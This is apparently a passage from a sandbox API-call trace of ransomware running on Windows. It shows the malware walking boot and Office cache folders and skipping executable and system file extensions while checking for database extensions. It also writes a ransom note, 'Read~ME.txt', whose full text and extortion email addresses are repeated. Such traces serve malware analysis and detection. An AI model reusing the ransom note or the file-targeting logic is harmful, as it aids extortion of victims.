	[0062.397] lstrlenW (lpString=".cmd") returned 4
	[0062.397] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.397] lstrlenW (lpString=".dll") returned 4
	[0062.397] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.397] lstrlenW (lpString=".bat") returned 4
	[0062.397] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.397] lstrlenW (lpString=".cpl") returned 4
	[0062.397] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.397] lstrlenW (lpString=".sys") returned 4
	[0062.397] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.398] lstrlenW (lpString=".msc") returned 4
	[0062.398] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.398] lstrlenW (lpString=".com") returned 4
	[0062.398] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.398] lstrlenW (lpString=".lnk") returned 4
	[0062.398] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.398] lstrlenW (lpString=".msp") returned 4
	[0062.398] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.398] lstrlenW (lpString=".pif") returned 4
	[0062.398] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.398] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.398] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.398] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.398] RtlWakeConditionVariable () returned 0x365f70
	[0062.398] GetCurrentThreadId () returned 0x3a4
	[0062.398] GetCurrentThreadId () returned 0x3a4
	[0062.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c960 | out: hHeap=0x300000) returned 1
	[0062.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357008
	[0062.398] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\Read~ME.txt" (normalized: "c:\\boot\\zh-cn\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.399] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.399] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.400] CloseHandle (hObject=0x110) returned 1
	[0062.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357008 | out: hHeap=0x300000) returned 1
	[0062.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.400] RtlWakeConditionVariable () returned 0x365f70
	[0062.401] GetCurrentThreadId () returned 0x3a4
	[0062.401] GetCurrentThreadId () returned 0x3a4
	[0062.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eca8 | out: hHeap=0x300000) returned 1
	[0062.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0062.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.401] lstrlenW (lpString=".scr") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.401] lstrlenW (lpString=".cmd") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.401] lstrlenW (lpString=".dll") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.401] lstrlenW (lpString=".bat") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.401] lstrlenW (lpString=".cpl") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.401] lstrlenW (lpString=".sys") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.401] lstrlenW (lpString=".msc") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.401] lstrlenW (lpString=".com") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.401] lstrlenW (lpString=".lnk") returned 4
	[0062.401] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.402] lstrlenW (lpString=".msp") returned 4
	[0062.402] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.402] lstrlenW (lpString=".pif") returned 4
	[0062.402] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.402] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.402] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.402] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.402] RtlWakeConditionVariable () returned 0x365f70
	[0062.402] GetCurrentThreadId () returned 0x3a4
	[0062.402] GetCurrentThreadId () returned 0x3a4
	[0062.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0062.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c9d0 | out: hHeap=0x300000) returned 1
	[0062.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0062.402] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\Read~ME.txt" (normalized: "c:\\boot\\zh-hk\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.403] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.403] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.404] CloseHandle (hObject=0x110) returned 1
	[0062.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0062.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.404] RtlWakeConditionVariable () returned 0x365f70
	[0062.404] GetCurrentThreadId () returned 0x3a4
	[0062.404] GetCurrentThreadId () returned 0x3a4
	[0062.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ed00 | out: hHeap=0x300000) returned 1
	[0062.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca08 | out: hHeap=0x300000) returned 1
	[0062.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.404] lstrlenW (lpString=".scr") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.405] lstrlenW (lpString=".cmd") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.405] lstrlenW (lpString=".dll") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.405] lstrlenW (lpString=".bat") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.405] lstrlenW (lpString=".cpl") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.405] lstrlenW (lpString=".sys") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.405] lstrlenW (lpString=".msc") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.405] lstrlenW (lpString=".com") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.405] lstrlenW (lpString=".lnk") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.405] lstrlenW (lpString=".msp") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.405] lstrlenW (lpString=".pif") returned 4
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.405] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.405] StrStrW (lpFirst="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.405] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.406] RtlWakeConditionVariable () returned 0x365f70
	[0062.406] GetCurrentThreadId () returned 0x3a4
	[0062.406] GetCurrentThreadId () returned 0x3a4
	[0062.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.406] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\Read~ME.txt" (normalized: "c:\\boot\\zh-tw\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.406] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.406] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.408] CloseHandle (hObject=0x110) returned 1
	[0062.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.408] RtlWakeConditionVariable () returned 0x365f70
	[0062.408] GetCurrentThreadId () returned 0x3a4
	[0062.408] GetCurrentThreadId () returned 0x3a4
	[0062.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0062.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0062.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0062.408] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Read~ME.txt" (normalized: "c:\\boot\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.409] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.409] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.436] CloseHandle (hObject=0x110) returned 1
	[0062.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0062.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.437] RtlWakeConditionVariable () returned 0x365f70
	[0062.437] GetCurrentThreadId () returned 0x3a4
	[0062.437] GetCurrentThreadId () returned 0x3a4
	[0062.437] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.450] GetCurrentThreadId () returned 0x3a4
	[0062.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d880
	[0062.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0062.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d7e8
	[0062.450] lstrlenW (lpString=".scr") returned 4
	[0062.450] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0062.450] lstrlenW (lpString=".cmd") returned 4
	[0062.450] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0062.450] lstrlenW (lpString=".dll") returned 4
	[0062.450] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0062.450] lstrlenW (lpString=".bat") returned 4
	[0062.450] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0062.450] lstrlenW (lpString=".cpl") returned 4
	[0062.450] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0062.451] lstrlenW (lpString=".sys") returned 4
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0062.451] lstrlenW (lpString=".msc") returned 4
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0062.451] lstrlenW (lpString=".com") returned 4
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0062.451] lstrlenW (lpString=".lnk") returned 4
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0062.451] lstrlenW (lpString=".msp") returned 4
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0062.451] lstrlenW (lpString=".pif") returned 4
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0062.451] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.451] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0062.451] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0062.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d880 | out: hHeap=0x300000) returned 1
	[0062.451] RtlWakeConditionVariable () returned 0x365f70
	[0062.451] GetCurrentThreadId () returned 0x3a4
	[0062.451] GetCurrentThreadId () returned 0x3a4
	[0062.451] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.524] GetCurrentThreadId () returned 0x3a4
	[0062.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6478
	[0062.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ed10 | out: hHeap=0x300000) returned 1
	[0062.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0062.527] lstrlenW (lpString=".scr") returned 4
	[0062.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0062.527] lstrlenW (lpString=".cmd") returned 4
	[0062.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0062.527] lstrlenW (lpString=".dll") returned 4
	[0062.527] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0062.527] lstrlenW (lpString=".bat") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0062.528] lstrlenW (lpString=".cpl") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0062.528] lstrlenW (lpString=".sys") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0062.528] lstrlenW (lpString=".msc") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0062.528] lstrlenW (lpString=".com") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0062.528] lstrlenW (lpString=".lnk") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0062.528] lstrlenW (lpString=".msp") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0062.528] lstrlenW (lpString=".pif") returned 4
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0062.528] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.528] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0062.528] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.947] lstrlenW (lpString=".sqb") returned 4
	[0062.947] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0062.947] lstrlenW (lpString=".ost") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0062.948] lstrlenW (lpString=".txt") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0062.948] lstrlenW (lpString=".mdt") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0062.948] lstrlenW (lpString=".BDB") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0062.948] lstrlenW (lpString=".eql") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0062.948] lstrlenW (lpString=".DBF") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0062.948] lstrlenW (lpString=".EQL") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0062.948] lstrlenW (lpString=".FDB") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0062.948] lstrlenW (lpString=".EDB") returned 4
	[0062.948] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0062.948] lstrlenW (lpString=".DACPAC") returned 7
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0062.949] lstrlenW (lpString=".VHD") returned 4
	[0062.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0062.949] lstrlenW (lpString=".DBV") returned 4
